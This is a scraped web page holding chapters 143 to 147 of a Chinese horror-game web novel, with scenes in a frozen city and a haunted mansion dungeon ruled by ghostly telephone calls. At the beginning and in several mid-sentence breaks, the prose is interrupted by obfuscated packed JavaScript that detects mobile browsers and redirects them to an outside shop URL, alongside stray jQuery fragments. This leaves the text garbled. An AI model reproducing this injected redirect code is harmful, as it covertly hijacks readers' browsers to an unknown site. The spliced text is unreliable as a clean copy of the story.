l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782354|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的塑料袋递了过去,碗里装着几个圆滚滚的山粉圆子。 “……抱歉,这是给火腿面包的。”她面不改色地收回塑料袋,从腰间解下一个蠕动着的怪物束缚袋,“怪物本体藏在玩偶里,小心。” C13接过束缚袋,里面传来“咚咚”的撞击声。没等他开口说话,冬逢初大衣口袋动了一下,火腿面包钻了出来:“哇!你给我带了什么好吃的?!” 初与序将山粉圆子递了过去:“凉了,回去热一下再吃。” 话音未落,向枝冥的手机突然响起。他打开手机,在看到上面的名字时僵了一下,最终接通电话。回北的怒吼声穿透扬声器:“向枝冥!你在安楚家放的蜘蛛跑到我家来了!既然回来了,现在!立刻!马上!滚过来拿走!” 向枝冥:“…知道了。” 随歌憋着笑捅他胳膊:“给蜘蛛取名没?” “龙傲天。”向枝冥面无表情收起手机,“接蜘蛛去了。” 身后,蓝光穿越门正在缓缓闭合,像一只逐渐闭上的眼睛。初与序下意识摸了摸脖颈右侧,那里的伤疤又深了一分。 她刚打算离开处罚区,一抬眼,只见走廊上,A12正站在那里,制服袖口沾着可疑的血迹,几名执行官跟在他身后。 其余人自然也注意到这一幕,立刻变了脸色。冬逢初不动声色地挡在初与序前面,C13飞快将束缚袋藏在身后,假装礼貌地朝A12鞠躬:“长官,您今天怎么来处罚区了?” A12没有回答,深深地看了C13一眼,转身离开,他的几名手下连忙跟上。 待走廊上空无一人,随歌压低声音:“靠,他不会发现S23和我们的事了吧?” “不会,你们放心。”C13倒是没担心,“如果他发现,我们和S23现在就该站在管理员面前了。” “我觉得找个机会把A12处掉。”随歌挠挠头,“一想起他还是永冬之城的执行官我就心慌。” “难。”C13坚定地吐出一个字,从口袋里拿出屏蔽系统监听器,“屏蔽时间到了,我现在关闭,你们说话小心点。” 四人同时点点头,C13关上屏蔽器,朝几人比了个手势:“你们可以走了。” 他们走出处罚区,永冬之城依旧寒风如刀,在刺骨的低温里。 火腿面包抱着那盒山粉圆子烧肉,一蹦一跳地走在最前面。初与序走在后面,忽然感觉手指被身后人轻轻勾住了。 冬逢初的手很凉,初与序转头看他,发现他正垂着眼睫看她,睫毛上凝着细碎的冰晶,奇奇怪怪不说话。 “怎么了?”她问道。 冬逢初的视线越过她,落在前方蹦跳的火腿面包身上,装着山粉圆子的塑料袋在面包手里晃来晃去。初与序顺着他的目光看去,又转回来:“你想吃?” 冬逢初摇头,声音闷闷的:“为什么不给我也带一份,却给火腿面包带?” 初与序愣了几秒,半晌才憋出一句:“…你是在吃一个面包的醋吗?” 冬逢初不吭声,只是微微别过脸,抿着唇,侧脸线条在冷光下显得格外清晰。 初与序叹了口气,犹豫道:“那…你去我家,我给你…煮泡面?” 冬逢初立刻点头。 “……” 她倒是真没看出来冬逢初会吃醋。 前面不远处,两个加一面包正偷偷回头看着两人。随歌压低声音,语气笃定:“我怀疑我哥们知道初与序没吃饭,是用这个借口去初与序家给她做饭的。但我没证据。” 景明垂面无表情:“……” 火腿面包已经被冬逢初吓得抱紧了自己的山粉圆子,小声嘀咕:“人类的感情真复杂。” 144.圆环 回到D栋1802,推开门时,暖气驱散了永冬之城深入骨髓的寒意。 冬逢初的目光第一时间落在客厅茶几上,之前他表白时送给初与序的勿忘我,被养在花瓶里,蓝紫色的小花依旧鲜活,像是凝固了忘忧海边那晚的风。 初与序顺着他的视线看过去,神色如常,只是耳夹微微泛红:“养得还行吧?” “养得很好。”冬逢初唇角微扬,夸赞道,“我们阿序真厉害。” 火腿面包看不了两人秀恩爱,它抱着山粉圆子直奔厨房,麻利地把食物塞进微波炉,然后扒着厨房门探头:“叮好了叫我!” 初与序踮脚从柜子上摸出两桶泡面,刚转身,冬逢初就拦在她面前,垂眸看她:“不吃泡面了。” “?” “我来做饭吧。”他语气自然,仿佛只是随口一提,可眼底那点隐约的委屈却一扫而空,甚至带了丝得逞的意味。 初与序忽然觉得,这人可能根本不是想要山粉圆子,而是想用自己家的厨房。 微波炉“叮”的一声响起,火腿面包欢呼一声冲过去,而初与序抱着抱枕窝进沙发,随手刷着手机。厨房里很快传来切菜的声响,冬逢初动作利落,刀工娴熟。 火腿面包扒在料理台边,眼睛发亮:“哇你手艺好好!要不你就住这儿吧,每天做饭!” 初与序抬眸,扫了它一眼。冬逢初低笑出声,锅里的热气氤氲而上,模糊了他微微扬起的唇角。 他刚把菜下锅,就发现了一个严重的问题,转头看向客厅:“阿序,你家盐呢?” 沙发上的人头也不抬,带着点理直气壮道:“不知道。” “……” “我没有买。”初与序终于从手机屏幕上移开视线,眨了眨眼睛,“平时煮泡面不用盐。” 冬逢初挑眉,正要说话,又见初与序放下手机,站起身往门口走:“……算了,我下去买吧。” 她的语气淡淡的,带着一点不情不愿的小别扭,像是明明想帮忙,却又带着点不明显的任性。 他眼疾手快地拦住:“我去,你好好休息。” 初与序抬眼看他,张了张嘴下意识要反驳,但最终“哦”了一声,又窝回沙发。 冬逢初嘴角不自觉上扬,他记得刚认识时的初与序,总是把自己封闭在沉默里,连情绪都很少外露(除了起床气)。此刻这种情况,放在从前,她只会说“不用”。 而现在,她会不耐烦,会耍小脾气,甚至会理直气壮说:“不知道”。这样是对的,是完全可以的。 “马上回来。”冬逢初拿起大衣,在关门时又回头看了一眼。初与序虽然假装在玩手机,但目光偷偷追随着他的身影,在他看回来时立刻移开。 等他买完盐回来时,初与序已经睡着了。 客厅里只开了一盏暖黄的落地灯,初与序蜷在沙发上,呼吸均匀,睫毛在眼下投下一小片阴影。她的头发散在肩侧,发丝垂在脸颊边。 火腿面包正蹲在茶几上,见冬逢初回来,竖起一根面包边角:“嘘——她睡着了。” 冬逢初点点头,无声地走进厨房,继续做饭。 没过多久,饭菜的香气就弥漫了整个屋子。冬逢初把菜端上桌,就在沙发旁低头看初与序。她的睡颜非常安静,脖颈上的疤痕在灯光下格外清晰。 他伸手,轻轻拨开她脸颊边的碎发,然后挑起一缕,慢悠悠地…编起了麻花辫。 火腿面包坐在一边,用看傻子的眼神看着两人。 这两人不吃饭在这干啥呢? 不饿吗? 初与序很快醒来,她迷迷糊糊睁开眼,感觉到耳边头发不对劲,抬手摸了摸。 一缕小小的麻花辫正垂在那里。 她转头,冬逢初正撑着沙发靠背,低头看着自己,眼里带着得逞的笑意。 初与序原本的起床气在看到他的笑脸时烟消云散,她揉了揉眼睛,起身走向餐桌。 火腿面包已经抱着自己的山粉圆子啃得欢快,见两人过来,含含糊糊地喊:“快吃!凉了就不好吃了!” 冬逢初把筷子递给初与序,她接过,低头夹了一筷子菜。 “怎么样?” 初与序点头。 冬逢初笑了:“那以后都我做。” 初与序没应声,但点了点头。 直到两天后初与序第三个副本通知发来,S23都没有回来。 几人站在D栋楼下,初与序打开面板,盯着上面刷新出来的副本信息: 【副本分配通知】 「副本名称:《亡铃》」 「参与时间:20分钟后」 「参与玩家:3人」 D19站在一边,疲惫地揉了揉太阳穴:“S23那边还没完事,副本核心区域被破坏得太彻底了。他瞥了眼初与序的面板,“你们这个本结束前,他估计都回不来。” “没关系。”初与序关上面板,“过《亡铃》的另外两个人是谁?” “我和意哥。”景明垂不知何时已经站在她身后,“但是……意哥呢?” “在这。” 江意从D栋大门走出,西装外套换成了便于行动的灰色卫衣,衬得身形更加瘦削。手里拿着三瓶景明垂之前抽到的奖励:巧克力牛奶。他分发给另外两人:“暗网有人提过,《亡铃》精神干扰严重,牛奶是精神镇定剂,带上吧。” D19转向江意,头疼道:“永冬之城禁止玩家探讨副本内容,幸好我提前开了监听屏蔽器,否则整个暗网都要完蛋。” “还有几个月前。”他看向初与序,“你和冬逢初在医院天台聊《死亡电梯》,提到‘暗网’这个词,差一点就被系统听到了。” 永冬之城规则严苛,玩家之间禁止交流副本情报,包括论坛上的讨论都会被系统监视。但总有人能找到漏洞。 从第一批玩家开始,那时候系统还没现在这么智能。一小群精通技术的玩家暗中创建了一个可以完全匿名的网站,被称为“暗网”。在那里,玩家可以自由发言,甚至可以发布任何非法信息,完全避开系统的监视。某种程度上,它就像是另一个“时光之书”。 而随歌,在刚来永冬之城时就发现了暗网并成功混入。 “哦。”江意面无表情,“那你把我抓了吧。” D19:“……” 哎,算了算了,全服第一就随他去吧。 初与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782355|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序默默接过牛奶,收进面板。三人刚转身要去车站,不远处就传来一阵嘈杂。 “龙傲天!你他妈给老子站住!”向枝冥正追着一只看上去应该是蜘蛛的黑色小影子。令人意外的是,冬逢初也不急不慢地跟在后面。 他显然也看见了初与序,脚步微顿。两人隔着风雪对视一眼,他嘴角扬起一个无奈的笑容。看来这次,他和向枝冥被分到了同一个副本。 “几天?”初与序问。 两个隔得太远,也都忘记了用耳骨夹交流。冬逢初勉强分辨出初与序的口型,挑眉疑惑道:“……吉他?” 初与序:“……?” 她无奈地摇摇头,没有继续和他说话,迈步跟上走向车站的另外两人。 站台上人头攒动,呼出的白气在冰冷的空气中交融。D019次列车依旧停靠在老位置,三人踏上列车,就看到了熟悉的列车站J41。 “这次副本你们都是同一对的?”J41扫了三人一眼,继续对着镜子拨弄自己的卷发。 景明垂点了点头,坐在第一排,直奔主题:“S23和大部分执行官被派去修理副本,这么久都没回来,副本场景不单纯是被玩家拆毁的吧?” 不是疑问句,是肯定句。J41挑眉,抬手按下藏在口袋里的监听屏蔽器。 “没错,对外说法是通关玩家毁了场景。”她回答道,“但其实与之前月度巅峰赛取消有关。” “S23应该和江意说过,一周前有外来力量入侵永冬之城,人为造成系统故障。导致十几个副本现在也受到影响,核心能量过载。S23他们不是在修复副本,而是去重建防护屏障了。” “上次我们让所有队伍强制混编进副本,一是防止玩家串联造反,也防止外来入侵能量混入玩家之中当卧底。” 初与序开口问道:“你们手中有关于入侵者的信息吗?” “没。”J41耸耸肩,“我们甚至都不知道它是「人类」,还是某个「能量」,只知道它的管理权限很高。”她忽然朝三人眨眨眼,“你们要小心点哦,说不定那个入侵者,就在你们两支混编队伍当中。” 江意托着下巴,冷冷道:“你说话可以再好听一点。” “你以为你说话好听?”J41对他翻了个白眼。 初与序侧过头看向车窗外,从永冬之城到副本的这一段路总是苍白色的漩涡。她不自觉抬起手,指尖抵在冰凉的玻璃上。 忽然,在那片混沌的雪幕之后,无数银蓝色的圆环无声浮现。 初与序屏住呼吸,试探地眨了眨眼。 圆环消失了,就像上次在车厢里看到的那样。 似乎从那个入侵者出现后,这种幻想就开始闪现。它们没有规律,没有预兆,仿佛是通过这无数个圆环,和初与序传达什么提示。 “J41。”她叫道,“永冬之城有没有可以计算圆周率的道具?” J41一脸懵地看向初与序:“什么?” “就是能无限计算π的道具。”初与序平静地重复了一遍。 车厢里几人同时看向她,J41狐疑道:“你在副本前嗑什么药了?” 初与序叹了口气,没有回答。 145.亡铃 列车广播在他们谈话结束后响起: 【尊敬的各位玩家您好,您搭乘的D019次列车正在行驶中,请配合工作人员妥善安置好行李,防止遗失。本次列车起点站:永冬之城;终点站:《亡铃》。接下来,我会为各位讲解副本背景设定:】 【在偏远山区深处,一座庄圆。传说这座庄园曾属于一位执迷于时间研究的贵族,他试图用禁忌仪式打破时间的束缚,却找只了无法挽回的灾祸。某天,庄园内所有人,包括贵族、仆从、甚至访客,全部离奇消失,只留下一座永远徘徊在时间夹缝中的建筑。】 【此后,庄园内的电话会随即响起,里面穿传来亡者的低语,而违反规则的人,将永远成为庄园的一部分……】 【主线任务:探索庄园,并找出逃离庄园的办法。】 【副线任务:破解电话规则,避免被亡者诅咒或替换。】 【祝各位存活愉快。】 随后,列车发出沉闷的刹车声,缓缓停稳。车门打开,浓稠的白雾如浪潮般涌入,几乎吞没了三人的身影。 “走了。”江意的声音在雾中传来,冷静清晰。 三人踏入雾中,能见度很低。走了约莫三十秒,雾气毫无征兆地散开,终于露出《亡铃》副本的场景。 初与序抬眼,发现几人正站在锈蚀的铁门前,面前是一座被灰雾笼罩的欧式庄园。高大的石墙爬满枯藤,花园里的玫瑰早已凋零,只剩下干枯的荆棘缠绕在雕塑与喷泉上。 一位身穿黑色礼服的老管家静立在门内,面容枯槁,眼神空洞。他没有开口,只是微微侧身,伸手做了个“请”的手势。 三人对视一眼,迈步踏入。 穿过花园,庄园正门缓缓打开。内部大厅空旷寂静,脚步声在大理石地面上回荡。正对大门处立着一座无脸的人形雕像,它没有五官,却给人一种被凝视的错觉。 就在三人不约而同看向它的时候,雕像的脸似乎微微转动,与他们一一对视。 刹那间,初与序感觉一股细微的眩晕感袭来,像是被某种无形的手轻轻波动了意识。 她伸手就要去拔短刀,下一秒,雕像无声无息地原地消失了,仿佛从未存在过。 “…你们看到了吗?”景明垂皱了皱眉。 江意冷淡地扫视四周:“看到了,应该只是出场画面,不必在意。” 初与序总觉得那雕像像是在确认什么东西,但目前没办法证实,只能压下疑惑,跟上另外两个。 大厅挑高极深,天花板上悬挂着一盏巨大的水晶吊灯。墙壁上挂着几幅人物肖像画,画中人的眼睛似乎随着三人的移动而微微转动,但仔细看去,又像是错觉。 正对大门处是一张厚重的橡木长桌,桌面上积了一层薄灰,却奇怪地留有几道清晰的指痕。桌上摆放着一台老式转盘电话,电话线一直延伸到阴影深处。 大厅左侧是一道盘旋而上的楼梯,右侧是一扇半掩的门,门缝中渗出微弱的烛光,隐约能听到某种像是水滴落下的声音。 刚刚站在门口的管家此刻已经不知道去了哪里,整个庄园里似乎只剩下他们三人。 这个副本和以往任何副本都不一样,除了刚刚的雕像和管家,没有任何NPC与怪物,连贱兮兮的系统也没有出声,像是在等待他们自己探寻。 初与序环顾四周,刚想开口。 “叮铃铃——!” 尖锐的电话铃声突然炸响,死寂的大厅被打破。三人同时看向声源,长桌上那台老师电话正疯狂震动,听筒在桌面上微微跳动。 他们对视一眼,走上前。在铃声第七次响起时,江意终于抓起听筒。 “……你是谁?”听筒内传来沙哑的嗓音。 江意皱眉,本打算不回答。但又犹豫了几秒,随口道:“江斯。” 电话那头传来模糊的轻笑,接着是“咔嗒”一声挂断音。大厅重新陷入寂静,只有三人轻微的呼吸声,什么都没有发生。 “你编的?”景明垂问。 江意面不改色:“我弟的名字。” “……” (远在现实世界打游戏的江斯打了个喷嚏:“?”) 初与序随手拿起桌上一支老式钢笔和一张泛黄的便签纸,快速写下: 【电话规则(推测):】 「1.亡者会询问姓名。」 「2.不说真名——暂时安全。」 她将纸条推向另外两人,低声道:“先记下来,可能还有其他规则。” 景明垂扫了一眼纸条,微微点头。江意则盯着那台电话,眼神复杂,随后开口:“分头调查。” 三人分开,初与序转身朝二楼走去,昏暗的二楼走廊两侧排列着数扇禁闭的房门,每扇门上都镶嵌着黄铜门牌,但上面的数字却模糊不清。 她拔出腰间短刀,随手推开最近的一扇门。房间内摆着一张四柱床,床单上落满灰尘,但枕头却有被人近期枕过的凹陷痕迹。 书桌上摆放着台历与老式电话,床头柜上放着一本翻开的日记本,钢笔还搁在页面上,墨水早已干涸。 当初与序走近时,突然注意到,日记本上的日期竟然正在不断变化:“2月5日”、“2月6日”、“2月4日”……数字就像有了生命般在纸面上跳动重组。 她下意识伸手按住页面,触碰到纸面的下一秒,所有日期突然定格成“9972年5月5日”。 9972? 初与序忽然觉得这个数字好熟悉,以前在哪见过,但忘记了。便转身走向书桌,试图寻找其余线索,却突然感到一股刺骨的寒意。 她下意识抬头看向挂在墙上的镜子,镜面异常清晰,映照出房间每一个细节:床幔的褶皱、花瓶的倒影,甚至窗外摇曳的树影。 唯独没有她自己。 初与序缓缓后退一步,但镜中依旧空无一物。 书桌上的台历突然自动翻动起来,所有页面都显示着不同的日期,但最终回到9972年5月那一页。但5日那天被人用红笔画了一个巨大的圆圈,空白处多了一行潦草的字迹: 「他们都在看着你。」 初与序盯着字迹沉默片刻,伸手擦去,缓缓退出书房,还不忘带上门。 走廊似乎比刚才更加昏暗了,两侧的房门不知何时都微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792624|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微敞开了一条缝隙,像是无数双窥视的眼睛。 她走到对面的房间,又是一间卧室,正中央是同样款式的四柱床,梳妆台上放着几个精致的香水瓶,但瓶身上都刻着“5.5.9972”的字样。 初与序拿起其中一瓶,瓶子中的液体突然开始沸腾,暗红色的液体不断撞击着玻璃内壁。 突然,耳边响起一声极轻的叹息,气息冰凉地拂过她的后颈。她猛地转过身,余光捕捉到衣柜旁的阴影处立着一个模糊的人影轮廓。那身影微微前倾,似乎正凑近观察她。 但当她定睛看去时,那里只剩下一片晃动的阴影。梳妆台的镜面还是空荡荡的,没有映出任何身影。而香水瓶中的液体不知何时恢复了平静,变成了一汪暗沉的红色。 一整个上午,初与序在幽暗的庄园穿行,她推开一扇扇房门,却只看到重复的景象: 有的卧室床头柜的闹钟永远停在5点18分,书房里摊开的本子上写满“9972年5月”;厨房的日历自动翻到5月那一页。这些数字,始终缺少最关键的部分。 在二楼拐角的书房里,她遇见了正在翻开书架的景明垂。两人对视一眼,景明垂摇了摇头,显然也是一无所获。 整个上午的调查就像是在迷雾中摸索,明明处处透着诡异,却又找不到任何真正有用的线索。 当接近中午时,初与序决定返回大厅。 景明垂已经早早等在那里,两人身上都纤尘不染。紧接着,楼梯处传来沉重的脚步声,两人回头看去。 江意竟踉跄着从阴影中走出,他的灰色卫衣被撕开数道裂口,暗红的血迹在布料上晕染开来。右手手背上一道深可见骨的伤口还在渗血,在地板上留下血点。 “你怎么……”景明垂的话还没说完,江意整个人忽然向前栽去。两人立刻上前,勉强接住了他下滑的身体。 两人将昏迷的江意拖到最近的会客室,初与序从面板掏出绷带,卷起他的卫衣袖子打算包扎。却惊讶地发现他手臂上不知何时多出了很多伤,无一例外都是被某种副本怪物抓挠撕咬成的。 她停下包扎的动作,忽然皱眉,指着一道已经结痂的伤痕:“有些伤…不像是刚造成的。看这个愈合程度,至少已经三天了。” “我记得在进入副本前,意哥身上没有要愈合的伤。”景明垂认真道,“只有可能在副本里造成的。” 初与序点头,两人都清楚地记得,从进入庄园到现在,不过短短几个小时。而且江意早上分开行动时,明明还完好无损。 “意哥上午去了哪里?”她问。 “庄园后院。”景明垂回答,“但我检查过三遍,什么都没有。” 初与序看着江意惨白的脸,意识到副本的危险似乎开始出现。她上午也去过后院,除了一颗枯死的大树和生锈的秋千,确实什么都没有。 江意一定是在副本里受伤的,但目前看来,副本里会攻击玩家的,可能只有“电话鬼”。但更诡异的是,从第一通电话后,整个庄园很安静。没有铃声,没有亡者的低语,他们没有再接过任何电话。 那么,江意身上的伤,究竟是怎么来的? 146.亡铃 约莫半小时后,江意的睫毛颤动了几下,缓缓睁开眼睛。当他的视线聚集在初与序和景明垂身上时,瞳孔猛地收缩了一下。 “现在是副本第几天?”他第一句话就这么问道,声音沙哑。 初与序和景明垂对视一眼,有些莫名其妙:“…第一天。” 江意的眉头皱起,嘴唇动了动:“……第一天?现在是第三天…算了。”他撑着身体想要做起来,却因为牵动伤口而倒抽一口气。 “你遇到了什么?”初与序问。 他没有急着回答,抿唇欲言又止,最后想解释什么。但惊讶的是,他的声音像被无形的屏障格开,初与序只看见他的嘴唇在动,耳边却是一片死寂。 见状,江意没有惊讶,眼神晦暗不明:“果然…副本在限制我解释。”他抬头看向挂钟,时针正指向中午12点整,“你们马上就会明白这个副本到底是怎么回事了。” 他没有在乎身上的伤,撑着床头柜站起身:“跟我来。” 两人跟着江意来到大厅,江意抓起桌上的钢笔和便签纸,在初与序先前记录的规则下方快速补充,字迹力透纸背。他语速很快: “我不知道下一次来到第一天是什么时候,不知道下一次和你们见面是什么时候,不知道下一次和你们分别是什么时候,也不知道我们会不会再见面。既然现在是第一天,那便可以从头再来。我存在于这一天的时间有限,必须确保你们能在剩下无尽的时间里存活下来,找到通关的办法。” 初与序走到他身边,目光落到他补充的几条规则上: 【电话规则(已验证)(这里原本的“推测”被江意划掉,改成了“已验证”):】 「1.亡者会询问姓名,不说真名——暂时安全。」 「2.电话响起后10秒内必须接听,否则电话会自动接通,传来尖锐噪音,电话鬼从电话听筒爬出。」 「3.若附近无电话,则出现“沙沙”声,1小时内随即遭遇灵异事件。」 「4.必须认真回应亡者问题,禁止:沉默超5秒(视为拒绝);用“嗯”“哦”等敷衍词;答非所问。违规后电话啸叫,接听者失聪,被亡者“重点关注”。」 「5.必须等亡者先挂断,若强行挂断,电话鬼将出现。若此时其他电话同时响起,多只鬼混将爬出。」 钢笔啪地搁下,江意抬头:“准确来说,我并不是第一天的江意。电话的规则目前我只验证了这么多,必须遵守。电话是危险,但也是整个副本唯一的信息源。” “我们能相信现在的你吗?”初与序看着江意,轻声问。 江意像是没料到初与序会问这个问题,他怪怪地看了她一眼,最终摇了摇头:“我不知道,但这不重要,我们三人不会长期待在一起。” 就在这时,餐厅的门被从内推开。老管家像幽灵般立在阴影里,指向长桌,示意三人午饭时间到了。 餐厅里,三份简餐整齐摆放:白面包、蔬菜汤、一小块烤鱼。食物普通,但至少可以吃,比其余副本好多了。 老管家离开,他们沉默地进食,初与序注意到因为受伤,江意的手在微微发抖,他的脸色比刚才更差,额角渗出细密的冷汗。 “你需要休息。”她说。 江意摇头,没有说话。 景明垂和初与序对视一眼,初与序叹了口气:“吃完再去花园,说不定这次有线索。” “嗯。”江意点了点头,站起身。 一记精准的手刀落在江意后颈,他身体一软,被初与序配合着稳稳接住。两人再次将他带回卧室,初与序从面板里拿出巧克力牛奶,按住他的下颌,将液体缓缓灌入,浓郁的巧克力味掩盖了稳定精神类药剂本身的苦涩。 “至少让意哥睡两小时。”她把空瓶收入面板,将被子拉到江意身上。见他呼吸平稳,彻底熟睡后,两人才离开房间。 房门轻轻合上的下一秒,江意缓缓睁开眼,面上依旧透着疲惫,但目光却停留在禁闭的房门上。他抬起手,轻轻触碰后颈被击打的位置,眼底闪过一丝无奈,但最终还是轻轻合上。 走廊上,初与序和景明垂并肩站在窗边,她抱臂看着窗外花园:“意哥说今天是第三天,但我们明明才刚进来,那么这个副本的时间是错乱的。” 景明垂依旧面无表情:“庄园里所有线索都指向9972年5月5日,未来,但……” “叮铃铃——!” 刺耳的电话铃声突然从走廊尽头响起,打断了两人的对话。两人快步走向声音来源,在十秒之内接起了电话。 “走廊尽头的画……”电话那头传来沙哑的声音,“帮我看看……” 电话咔哒一声挂断,两人对视一眼,走向走廊尽头那幅被阴影笼罩的肖像画。 画中是一位穿着复古礼服的年轻女子,戴着珍珠耳坏,面容姣好,却透着说不出的诡异。 当他们靠近时,一滴暗红色的液体从画中人的右眼滑落,在画框底部溅开一朵小小的血花。血一直在滴,很快,整幅画的眼眶都被鲜血浸染,而画中人的嘴角,似乎正在缓缓上扬。 “血不像是从画布背面渗出来的。”景明垂冷静道。 初与序上前一步,伸手想要取下画框,刚碰到画框又缩回手。画框冰冷得不像木质,反而像某种生物的皮肤。 又一滴血落下,这次直接滴在了初与序的鞋尖。她低头看去,地板上已经积了一小滩血迹。 她蹲下身,用手指抹开血迹。在暗红的液体下,地板上不知何时出现几个细微的凹痕:「518」 “……9972年5月5日。”她低声念出这个日期,“现在又了「518」。” “997255518?”景明垂皱起眉。 就当她轻声念出这个完整的数字时,突然感到一阵眩晕。走廊的灯光开始闪烁,墙纸的纹路像蛇一半蠕动起来。 初与序看见画中的女子似乎眨了眨流血的眼睛,但转眼间灯光恢复,画作和血迹都消失了,走廊尽头只剩下一面空白的墙。 “你不觉得‘997 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794845|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2’这个数字很熟悉吗?”她转向景明垂,“还有‘555’。” 景明垂甚至没有思考,坚定地摇头:“不,我从来没有听过这一串数字。”她指了指初与序右耳的耳骨夹,“你可以询问冬逢初。” 初与序抬手点了两下耳骨夹,试图和冬逢初开启心灵链接,却发现连接被系统切断。她只好放下手:“《亡铃》副本禁止玩家与外界联系,心灵链接被切断了。” 就当两人一筹莫展时,楼上阁楼的门忽然发出刺耳的吱呀声,缓缓自动开启了一条缝。 初与序和景明垂踩着摇摇欲坠的木楼梯向上走去,阁楼里弥漫着灰尘,昏暗的光线从唯一一扇圆形小窗透进来,照出漂浮的尘埃。 “咔嗒…咔嗒…” 机械运转的声音从角落里传来,两人循声望去,发现一个破旧的发条玩偶正歪歪扭扭地走着。玩偶的漆面剥落,露出木色。每当它走到第三步就会停下,发出孩童般尖细的声音: “时间错了……时间错了……” 随后又机械地转身,重复同样的路径。 初与序蹲下身,发现地板上散落着其他玩家:缺了轮子的小火车、褪色的积木、还有…… 她捡起一张被揉皱后又展平的蜡笔画,画中是一家四口的合影:穿着考究的父母和两个笑容灿烂的孩子,但所有人的脸部都被尖锐物划得面目全非,唯有母亲耳垂上的珍珠耳环清晰可见,和走廊那幅肖像画中的女子戴的一模一样。 但奇怪的是,画中两个孩子的手里,各自握着一部电话,和庄园里的电话一样。 “他们就是庄园主夫妇。”初与序指着画中的父母,“根据副本背景,庄园主痴迷于时间研究,根据某物打破时间的束缚。” “整座庄园里,除了正常的家具,最奇怪的物品只有到处都在的电话。”她顿了顿,继续道,“那么庄园主是否通过电话,来得到他想要的关于时间的答案?” 景明垂拿起玩偶,看着它不断重复的机械动作:“但电话规则明显明显对人不利。如果庄园主真的掌握了时间奥秘,为什么现在这里只剩下亡魂的呓语?” “也许他成功了,但代价是整个庄园被困在时间里?”初与序说着说着突然顿住,“不对,如果庄园主真的打破了时间束缚,那现在的异常应该是他造成的,但那些电话里的声音明显也是受害者。” “假设庄园主真的用电话实现了某种时间操纵,那为什么我们看到的都是类似时间错乱的现象,为什么意哥说他在第三天?按理说,掌控时间的人应该能修复一切,而不是让整个庄园陷入混乱,这说不通。” 两人陷入沉默,景明垂将玩偶放在地板上,可玩偶竟然停止了走动,歪倒在角落里,玻璃眼珠直勾勾地盯着她们。 “可能我们的推理方向错了,或者漏掉了关键环节。”景明垂抬了抬手指,琴弦破空而出,精准绞断了发条玩偶的头颅。 初与序看着断了的头颅,又转向阁楼门外,想到了什么,站起身:“我们再去其余房间转转。” 147.亡铃 两人快步来到三楼的书房,发现整个房间的气氛已然不同。原本整齐的书架像是被狂风席卷而过,大部分书籍的扉页被粗暴撕去,残破的纸页散落一地,一片狼藉,唯有角落里一本烫金封面的《时间的悖论》完好无损。 景明垂抽出这本书,一张泛黄的便签纸从书页中滑落,上面用笔写满了复杂的时间轴公式。便签背面用钢笔写着:「维恩霍华德,9972.5.5,通讯实验。」 没等两人反应,书桌最下方的抽屉突然发出“咔哒”一声响。初与序蹲下身,发现抽屉上挂着一把造型古怪的锁,锁孔竟是微信电话拨号盘的形状,转盘上刻着0-9的数字。 初与序试着转动拨号盘,整个书房却忽然响起此起彼伏的电话忙音,而《时间的悖论》的书页开始自动翻动,最终停在画满红色下划线的段落: 「当观察者成为被观察的一部分,时间的裂缝就会形成闭环——维恩霍华德批注」 景明垂看着便签上的字迹,又看向初与序:“这字迹…是你写的?” 初与序凑近去看那行字,摇摇头:“不是。” 可下一秒,景明垂将便签转向她,指着字迹的转折和力道:“笔锋都和你的一模一样。” 景明垂最熟悉初与序了,能清楚地分辨出她的字迹。初与序感觉一股凉意顺着脊背往上爬,她抓起桌上的钢笔,想要随手写几个字证明。 笔尖悬在纸面上,却迟迟落不下去。 一种诡异的空白感席卷了她的大脑。不是忘记某个字怎么写,而是她发现自己彻底丧失了“写字”这个概念。 钢笔从她指间滑落,在桌面上滚出一道墨痕。 她猛地站起身,往门口冲,景明垂紧随其后。 两人来到初与序上午检查过的卧室,书桌上的日历依然翻在“9972年5”月那一页,5月5日的空白处,那行潦草的「他们都在看着你」在昏暗的光线下格外刺眼。 这字迹,和书房里的那行批注,完全一致。 “我们可能被干扰了认知。”景明垂果断合上日历,防止初与序瞎想把自己困住,“先别管字迹了,我们得优先确认安全规则。”她指向窗外,天色不知何时已近黄昏,走廊的阴影开始扭曲拉长。 就在这时,走廊上的电话第三次响起,两人迅速离开房间。 初与序在第十秒时一把抓起听筒:“喂?” 